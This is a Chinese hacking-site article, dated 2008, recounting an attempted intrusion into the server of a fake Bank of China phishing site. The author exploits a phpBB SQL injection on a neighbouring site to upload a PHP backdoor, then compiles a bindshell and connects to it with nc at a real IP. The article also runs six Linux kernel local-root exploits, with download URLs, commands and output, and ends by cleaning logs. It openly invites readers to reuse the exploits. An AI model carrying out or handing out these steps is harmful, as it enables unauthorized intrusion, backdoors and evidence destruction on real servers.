我爱黑客网首页 设为首页
加入收藏
联系我们
 首 页  技术文章 下载中心 站长学院 交流论坛
 软件:
 文章:        教程:
 推荐: 我爱黑客网论坛
 
 
 
 
   
黑软: Q Q 软件 木马间谍 探嗅监听 溢出攻击 加密解密 漏洞扫描 脚本注入 远程控制 综合利用 聊天工具  
 
技术文章: 爱黑新闻 | 黑客攻防 | 安全防御 | 程序设计 | 系统操作 | 网络技术 | 本站动态 | 业界动态 | 安全公告 | 病毒公告
 
 
您当前的位置:我爱黑客网 -> 黑客攻防 -> 攻防实战 -> 文章内容  
栏目导航
· Q Q 攻防 · 黑客入门
· 攻防实战 · 安全初步
· 工具详解 · 黑客教程
· 漏洞研究 · 黑客编程
· 技术杂谈 · Exploit
热门文章
· 骇客学堂:简单入侵个..
· 轻松入侵个人免费空间..
· 教你入侵六合彩网拿会..
· 会员QQ重大漏洞
· 无线攻防:破解WEP密钥..
· 手把手教你入侵 win20..
· 怎样不用密码进入Wind..
· 我也做黑客:简单入侵个..
· 黑客入门者如何获取肉..
· 黑客高手必懂基础内容..
· 网吧冲钱从概念到实践..
· 我这样破解万象免费上..
相关文章

查看更多与我那次入侵中国虚假银行的实录相关内容

我那次入侵中国虚假银行的实录
作者:我爱黑客网  来源:http://www.5ihack.com/  发布时间:2008-6-18 23:10:37  发布人:ghostfire

减小字体 增大字体

本来不打算把这个不成功的入侵写出来的,后来有几个朋友想看,既然能在内部交流,也没有什么见不得人的,索性发出来,初学者可以借鉴一点经验,高手可以在此基础上作更多尝试,我也想多学点东西。
27日晚看到天天网的一片报道:中国银行网站再次遭遇克隆 假网站远在北美,

本来要整理规划的,既然出了这个事情,好歹看看吧。废话不说,开始!
1、收集信息

服务器信息:
Apache/1.3.33 
PHP/4.3.9
网站主文件:
_blank>http://www.banochi.net/english/index.shtml

查看虚假网站,基本没发现什么可用的东西,估计只有记录密码和ip的cgi程序。除了服务器入侵,还可以考虑旁注。
检索其他站点,分析了几个php站点的注入,没太多利用的地方。想起phpbb的洞洞,写段代码检索一下viewtopic.php文件,找到一个phpbb2.0.10入侵点

_blank>http://www.bits-clsu.org/forum/viewtopic.php?t=1

事后才想起可以用旁注工具直接来检索,反正都一样。
2、上传木马
利用phpbb的洞,漏洞介绍“phpBB远程任意SQL注入漏洞”,“phpbb<2.0.11程序的sql注入漏洞分析”上传php后门。
3、生成bindshell
我还在看文件的时候,Edward就已经做了个bindshell出来,呵呵!基本方法:
上传bindshell.c

gcc -o /tmp/bind bindshell.c
/tmp/bind 

nc上去看看,还是在shell下比较方便。

nc -vv 216.22.48.72 7758

4、采集系统信息
拿到webshell后就可以获得一些基本的信息包括passwd、httpd.conf等等,检索到虚假网站的绝对路径/home/banochin/public_html/,在webshell中查看文件创建的时期是服务器时间2004-12-15,在其cgi-bin目录下有如下文件

文件 创建日期 最后修改 大小 属性 
[member] 2005-02-21 21:39:03 2005-02-21 21:39:03 <dir> 0700 
errlog.dat 2005-02-28 00:32:22 2005-02-28 00:32:22 140.186 KB 0600 
id.dat 2005-02-24 10:48:35 2005-02-24 10:48:35 1.727 KB 0600 
index.htm 2004-12-15 03:19:51 2004-12-15 03:19:51 0.697 KB 0644
pwd.dat 2005-02-25 00:36:15 2005-02-25 00:36:15 0.170 KB 0600 
pwdbak.dat 2004-12-15 03:24:17 2004-12-15 03:19:55 0.516 KB 0600 
security.cgi 2004-12-15 03:24:03 2004-12-15 03:20:00 44.363 KB 0700 
visemailer.cgi 2004-12-15 03:24:04 2004-12-15 03:20:02 3.554 KB 0700 

可以看到最后记录的密码日期是2月25日,而浏览目录后发现还包括了很多其他语言的中国银行网站内容,但基本都是html文件,想必是从中国银行直接webdump下来的。
内核信息,因为我们对其目录没有写权限,接着要做的就是提权了。前后大概用了1小时左右,而剩下的提权工作却花了我1天多的时间,结果还是没搞定,郁闷!

uname -r
2.4.20-021stab022.11.777-enterprise

5、本地提升权限测试
增加环境变量
export PATH=/usr/bin:$PATH
否则会出现collect2: cannot find `ld’错误!
(1)Linux Kernel moxa串行驱动BSS溢出漏洞
grsecurity 2.1.0 release / 5 Linux kernel advisories
URL:
_bug&do=view&bug_id=7446&keyword=" target=_blank>http://www.nsfocus.net/index.php?act=sec_bug&;do=view&bug_id=7446&keyword=
_blank>http://lists.netsys.com/pipermail/full-disclosure/2005-January/030660.html
文件:
_and_patches.tgz" target=_blank>http://grsecurity.net/~spender/exploits_and_patches.tgz
测试:

wget _and_patches.tgz" target=_blank>http://grsecurity.net/~spender/exploits_and_patches.tgz
tar -zxvf exploits_and_patches.tgz
cd exploits_and_patches
make alloc=0x100000
------------------------------------------------------------------------
nasm -f elf -DALLOCATE=32482374 mlock-dos.S
make: nasm: Command not found
make: *** [ all ] Error 127
------------------------------------------------------------------------

结论:
缺少nasm,即使上传rpm也不能够执行安装!
(2)Linux Kernel uselib()特权提升漏洞
Linux kernel sys_uselib local root vulnerability
URL:
_bug&do=view&bug_id=7326&keyword=" target=_blank>http://www.nsfocus.net/index.php?act=sec_bug&;do=view&bug_id=7326&keyword=
_blank>http://marc.theaimsgroup.com/?l=bugtraq&;m=110513415105841&q=raw
_blank>http://marc.theaimsgroup.com/?l=bugtraq&;m=110512575901427&w=2
_blank>http://isec.pl/vulnerabilities/isec-0021-uselib.txt
文件:
_blank>http://marc.theaimsgroup.com/?l=bugtraq&;m=110512575901427&q=p3
测试:

gcc -O2 -fomit-frame-pointer elflbl_v108.c -o elflbl_v108
------------------------------------------------------------------------
elflbl_v108.c: In function `check_vma_flags’:
elflbl_v108.c:545: warning: deprecated use of label at end of compound statement
------------------------------------------------------------------------
./elflbl_v108
------------------------------------------------------------------------
child 1 VMAs 0
[+] moved stack bff73000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xc7c00000 - 0xcf707000
Wait... -Segmentation fault
-------------------------------------------------------------------------
gcc -O2 -fomit-frame-pointer elflbl_v109.c -o elflbl_v109
./elflbl_v109
------------------------------------------------------------------------
[+] SLAB cleanup
[-] FAILED: get_slab_objs: /proc/slabinfo not readable? (No such file or directory)
sh: line 9: 24080 Killed ./elflbl_v109
------------------------------------------------------------------------

(3)Linux内核本地整数溢出和内存泄露漏洞
fun with linux kernel
URL:
_bug&do=view&bug_id=7269&keyword=" target=_blank>http://www.nsfocus.net/index.php?act=sec_bug&;do=view&bug_id=7269&keyword=
_blank>http://marc.theaimsgroup.com/?l=full-disclosure&;m=110374209001676&w=2
测试:

gcc -o vc vc_resize.c
./vc_resize
------------------------------------------------------------------------
open: No such device or address
------------------------------------------------------------------------
gcc memory_leak.c -o memory_leak
------------------------------------------------------------------------
memory_leak.c:80:2: warning: no newline at end of file
------------------------------------------------------------------------

(4)Linux Kernel do_mremap VMA本地权限提升漏洞
Linux kernel do_mremap VMA limit local privilege escalation
URL:
_bug&do=view&bug_id=6102&keyword=%CC%E1%C9%FD" target=_blank>http://www.nsfocus.net/index.php?act=sec_bug&;do=view&bug_id=6102&keyword=%CC%E1%C9%FD
_blank>http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
文件:
_pte.c" target=_blank>http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c
测试:

gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
./mremap_pte
------------------------------------------------------------------------
[+] kernel 2.4.20-021stab022.11.777-enterprise vulnerable: YES exploitable YES
MMAP #65530 0x50bfa000 - 0x50bfb000
[-] Failed
------------------------------------------------------------------------

(5)Linux Kernel kmod/ptrace竞争条件权限提升漏洞
linux kmod/ptrace bug - details
URL:
_bug&do=view&bug_id=4570&keyword=%CC%E1%C9%FD" target=_blank>http://www.nsfocus.net/index.php?act=sec_bug&;do=view&bug_id=4570&keyword=%CC%E1%C9%FD
_blank>http://marc.theaimsgroup.com/?l=bugtraq&;m=104811209231385&w=2
文件:
_blank>http://august.v-lo.krakow.pl/~anszom/km3.c
测试:

gcc -o km3 km3.c
./km3 ?
------------------------------------------------------------------------
Usage: ./km3 [-d] [-b] [-r] [-s] [-c executable]
-d -- use double-ptrace method (to run interactive programs)
-b -- start bindshell on port 4112
-r -- support randomized pids
-c -- choose executable to start
-s -- single-shot mode - abort if unsuccessful at the first try
------------------------------------------------------------------------
./km3 -s
------------------------------------------------------------------------
Linux kmod + ptrace local root exploit by <anszom@v-lo.krakow.pl>

=> Simple mode, executing /usr/bin/id > /dev/tty
sizeof(shellcode)=95
=> Child process started..........
Failed
------------------------------------------------------------------------

(6)Linux Kernel i386 SMP页错误处理器特权提升漏洞
Linux kernel i386 SMP page fault handler privilege escalation
URL:
_bug&do=view&bug_id=7338" target=_blank>http://www.nsfocus.net/index.php?act=sec_bug&;do=view&bug_id=7338
_blank>http://marc.theaimsgroup.com/?l=bugtraq&;m=110554694522719&w=2
测试:

gcc -o smp smp.c
./smp
------------------------------------------------------------------------
[+] in thread 1 (pid = 5400)
[+] in thread 2 (pid = 5401)
[+] rdtsc calibration: 53428
[+] exploiting race, wait...
[-] unable to exploit race in 30s,
kernel patched or load too high.
------------------------------------------------------------------------

尝试多个本地提权均未能成功!很郁闷!而在测试过程的时候,虚假网站已经被关闭了,虽然文件还在,但是很明显官方已经作了努力,并得到了不错的结果。
6、其他
找了几个linux的键盘记录,都要root权限。而服务器远程连接使用的ssh的,使用sniffer也估计没戏,所以暂时也没什么思路,清理exp、日志文件。
以上是我的一些测试的结果,结果也没有拿到root,不过我整理了一下相关的漏洞,希望对大家以后有些帮助。在站长群里发布了相关的结果,也没有人回话,不知道大家是太忙。。。
文中并未特殊处理漏洞及结果,有兴趣的可以直接利用,不过没必要为难其他站点,我想大家明白我的意思!
折腾了这么久,还有好多工作的事情要做!希望不会被老板说,呵呵!
最后感谢Edward、老黑及几位公司的高人 

查看更多与我那次入侵中国虚假银行的实录相关内容

[ ] [返回上一页] [打 印] [收 藏]
上一篇文章:
下一篇文章:
      饶过Xplog70.dll玩入侵       已经没有了
∷相关文章评论∷   (评论内容只代表网友观点,与本站立场无关!) [发表评论]
 
 
 
 
晋ICP备05008232   维护网络安全、传播安全技术才是我们的目标! 
 
关于本站 - 网站帮助 - - 下载声明 - 友情连接 -网站地图